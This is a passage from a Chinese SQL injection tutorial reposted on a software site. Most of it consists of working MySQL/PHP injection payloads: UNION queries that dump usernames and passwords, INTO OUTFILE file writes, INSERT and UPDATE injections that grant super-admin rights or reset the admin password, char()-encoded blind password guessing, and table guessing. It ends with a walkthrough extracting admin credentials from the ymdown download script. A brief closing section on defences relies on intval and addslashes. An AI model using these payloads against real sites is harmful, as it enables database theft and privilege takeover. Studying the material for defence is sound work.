  由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:

http://127.0.0.1/injection/user.php?username=’ or 1=1 into outfile ‘c:/file.txt

  实际的SQL语句变为:

SELECT * FROM user WHERE username=” or 1=1 into outfile ‘c:/file.txt’

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:

SELECT * FROM article WHERE articleid=’1′ union select 1,username,password from user into outfile ‘c:/user.txt’

  这样可以导出文件了,如果我们要构造就提交:

http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user into outfile ‘c:/user.txt

  文件是出来了,可是有一个问题,由于前面的查询articleid=’1’为真了,所以导出的数据也有整个文章的一部分,如图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:

http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user into outfile ‘c:/user.txt

  这样才能得到我们想要的资料:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。

INSERT

  如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了,其实还有两个危害更大的操作,那就是INSERT和UPDATE语句,这类例子不多,先面先说说INSERT,这主要应用于改写插入的数据,我们来看个简单而又广泛存在的例子,看看下面的数据结构:

CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT ‘1’ NOT NULL ,
PRIMARY KEY ( `userid` )
);

  其中的userlevel代表用户的等级,1是普通用户,2是普通管理员,3是超级管理员,一个注册程序默认是注册成普通用户,如下:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘$username’, ‘$password’, ‘$homepage’, ‘1’);

  默认userlevel字段是插入1,其中的变量都是没有经过过滤就直接写入数据库的,不知道大家有什么想法?对,就是直接注入,使我们一注册就是超级管理员。我们注册的时候,构造$homepage变量,就可以达到改写的目的,指定$homepage变量为:

http://4ngel.net’, ‘3’)#

  插入数据库的时候就变成:

INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘angel’, ‘mypass’, ‘http://4ngel.net’, ‘3’)#’, ‘1’);

UPDATE

  和INSERT相比,UPDATE的应用更加广泛,如果过滤不够,足以改写任何数据,还是拿刚才的注册程序来说,数据结构也不变,我们看一下用户自己修改自己的资料,SQL语句一般都是这样写的:

UPDATE user SET password=’$password’, homepage=’$homepage’ WHERE id=’$id’

  用户可以修改自己的密码和主页,大家有什么想法?总不至于还是提升权限吧?程序中的SQL语句又没有更新userlevel字段,怎么提升啊?还是老办法,构造$homepage变量, 指定$homepage变量为:

http://4ngel.net’, userlevel=’3

  整个SQL语句就变成这样:

UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’

  尽管密码被加密了,但我们还是可以构造我们需要的语句,我们指定$password为:

mypass)’ WHERE username=’admin’#

  这时整个语句变为:

UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’

  这样就更改了更新的条件,我管你后面的代码是不是在哭这说:我们还没有执行啊。当然,也可以从$id下手,指定$id为:

‘ OR username=’admin’

  这时整个语句变为:

UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’

高级应用

1、 使用MYSQL内置函数

  我们在ACCESS、MSSQL中的注入,有很多比较高级的注入方法,比如深入到系统,猜中文等,这些东西,在MYSQL也能很好得到发挥,其实在MYSQL有很多内置函数都可以用在SQL语句里,这样就可以使我们能在注入时更灵活,得到更多关于系统的信息。有几个函数是比较常用的:

DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
……

  各个函数的具体作用大家可以查阅MYSQL手册,比如下面这句UPDATE:

UPDATE article SET title=$title WHERE articleid=1

  我们可以指定$title为以上的各个函数,因为没有被引号包含,所以函数是能正确执行的:

UPDATE article SET title=DATABASE() WHERE id=1 
#把当前数据库名更新到title字段
UPDATE article SET title=USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SYSTEM_USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=SESSION_USER() WHERE id=1 
#把当前 MySQL 用户名更新到title字段
UPDATE article SET title=CURRENT_USER() WHERE id=1 
#把当前会话被验证匹配的用户名更新到title字段

  灵活运用MYSQL内置的函数,可以获得不少有用的信息,比如数据库版本、名字、用户、当前数据库等,比如前面跨表查询的例子,提交:

http://127.0.0.1/injection/show.php?id=1

  可以看到一篇文章,我们怎么样才能知道MYSQL数据库的相关信息呢?同样也是用MYSQL内置函数配合UNION联合查询,不过相比之下就简单得多了,甚至还可以读取文件!既然要用到UNION,同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构,直接构造:

http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()

#!/usr/bin/perl
#cody by Super·Hei 
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105

$ARGC = @ARGV;
if ($ARGC != 1) {

  print “Usage: $0 \n”;
  exit(1);
}

$path=shift;

@char = unpack(‘C*’, $path);

$asc=join(“,”,@char);

print $asc;

2、不加单引号注入

注:现在我们假设magic_quotes_gpc为on了。

  众所周知,整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username=’angel’

  如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。

  其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid

  按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1

  就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://127.0.0.1/injection/user.php?userid=1 and password=mypass

  绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1 and password=’mypass’

  由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/’,我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)

  正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)

  正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)

  又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)

  然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)

  而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)

  就会返回:mypass

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)

  我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整形类型的数据,可以用比较运算符进行比较、当然得出的结果也就快多了,也就是这样提交:

http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112

  这样我们就得出结果了,然后我们再用char()函数还原出来就好了。至于其他更多函数,大家可以自己去试验,限于篇幅也不多说了。

3、快速确定未知数据结构的字段及类型

http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1

  有多少个“1”就表示有多少个字段,可以慢慢试,如果字段数不相同,就肯定会出错,如果字段数猜对了,就肯定会返回正确的页面,字段数出来了,就开始判断数据类型,其实也很容易,随便用几个字母代替上面的1,但是由于magic_quotes_gpc打开,我们不能用引号,老办法,还是用char()函数,char(97)表示字母“a”,如下:

http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

  如果是字符串,那就会正常显示“a”,如果不是字符串或文本,也就是说是整形或布尔形,就会返回“0”,如图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。

4、猜数据表名

  在快速确定未知数据结构的字段及类型的基础上,我们又可以进一步的分析整个数据结构,那就是猜表名,其实使用UNION联合查询的时候,不管后面的查询怎么“畸形”,只要没有语句上的问题,都会正确返回,也就是说,我们可以在上面的基础上,进一步猜到表名了,比如刚才我们提交:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1

  返回正常的内容,就说明这个文件查询的表内是存在3个字段的,然后我们在后面加入from table_name,也就是这样:

http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user

site_article
site_user
site_download
forum_user
forum_post
……

  如果安全意识高的话,管理员会加个表名前缀,那猜解就很麻烦了,不过完全可以做一个表名列表来跑。这里就不多说了,后面会有一个具体的例子来解开一切迷茫^_^……

实例

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

  注意,这里有19个“1”,返回正常的页面,我可以可以肯定字段没有变,我们也就别拖拉了,直接看看夜猫的默认用户数据表是否存在:

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

  正常返回,如图,如果URL不清楚可以看标题那里:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

  嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?

http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  忘记了,就算不存在id为1的用户,前面的查询是真的,照样会正常返回数据库的软件信息,我们只能让前面的查询为假,才能使后面查询的结果显示出来,但我们要注意一点,show.php文件里面有这样一段代码:

if ($id > “0” && $id < “” ):
//这里是正确执行的代码
else:
echo “<p><center><a href=./list.php>无记录</a></p>\n”;

  也就是说我们的ID的值再怎么离谱也不能在0和之外,HB的软件肯定不会超过10000个的,我们就提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  正常返回了,表格里的数据全部是“1”,说明ID还在哦。如果不存在的话,页面只返回的数据全部是不详,因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后,还要确定是不是管理员才行啊:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

  程序规定groupid为1是超级管理员,既然都返回正确信息了,我们就直接构造畸形语句,暴出我们需要的用户名和密码,嘿嘿,首先看看ymdown表的数据结构,因为show.php是查询它的,所以我们应该看它的数据结构。

CREATE TABLE ymdown (
 id int(10) unsigned NOT NULL auto_increment,
 name varchar(100) NOT NULL,
 updatetime varchar(20) NOT NULL,
 size varchar(100) NOT NULL,
 empower varchar(100) NOT NULL,
 os varchar(100) NOT NULL,
 grade smallint(6) DEFAULT ‘0’ NOT NULL,
 viewnum int(10) DEFAULT ‘0’ NOT NULL,
 downnum int(10) DEFAULT ‘0’ NOT NULL,
 homepage varchar(100), demo varchar(100),
 brief mediumtext, img varchar(100),
 sort2id smallint(6) DEFAULT ‘0’ NOT NULL,
 down1 varchar(100) NOT NULL,
 down2 varchar(100),
 down3 varchar(100),
 down4 varchar(100),
 down5 varchar(100),
 PRIMARY KEY (id)
);

  用户名和密码的数据类型都是varchar,所以我们要选择ymdown表里数据类型是varchar来,如果把varchar的数据写到int的地方当然是不可能显示的了,由于updatetime(更新日期)的长度是20,可能会出现显示不完全的情况,我们就把用户名显示在name(软件标题)那里,密码显示在size(文件大小)那里好了,在19个“1”中,name和size分别是第二个和第四个,我们提交:

http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

  结果成功返回了我们所需要的用户名和密码,如图:

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

验证测试结果

  整个渗透过程就结束了,不过由于黑白把入口给改了,无法登陆,但我们仅仅测试注入,目的已经达到了,就没有必要进后台了,我后来又继续构造SQL语句来验证我们获取的密码是否正确,依次提交:

http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50
#验证第二位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
#验证第三位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52
#验证第四位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53
#验证第五位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54
#验证第六位密码

SQL注入语句大全 - 【轰隆隆】 - 龙在天涯

注入的防范

$id = intval($id);
mysql_query(“SELECT * FROM article WHERE articleid=’$id'”);

  或者这样写:

mysql_query(“SELECT * FROM article WHERE articleid=”.intval($id).””)

$username = addslashes($username);
mysql_query(“SELECT * FROM members WHERE userid=’$username'”);

  或者这样写:

mysql_query(“SELECT * FROM members WHERE userid=”.addslashes($username).””)

  使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了,当然也不要忘记使用addslashes()函数。具体代码如下:

$keywords = addslashes($keywords);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);

  不用像ASP那样,过滤一点变量,就要写一大堆的代码,就是上面的一点点代码,我们就可以把本文所有的问题解决了,是不是很简便?

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://haidsoft.com/151904.html

(0)
上一篇 2025-03-11 13:25
下一篇 2025-03-11 13:33

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注微信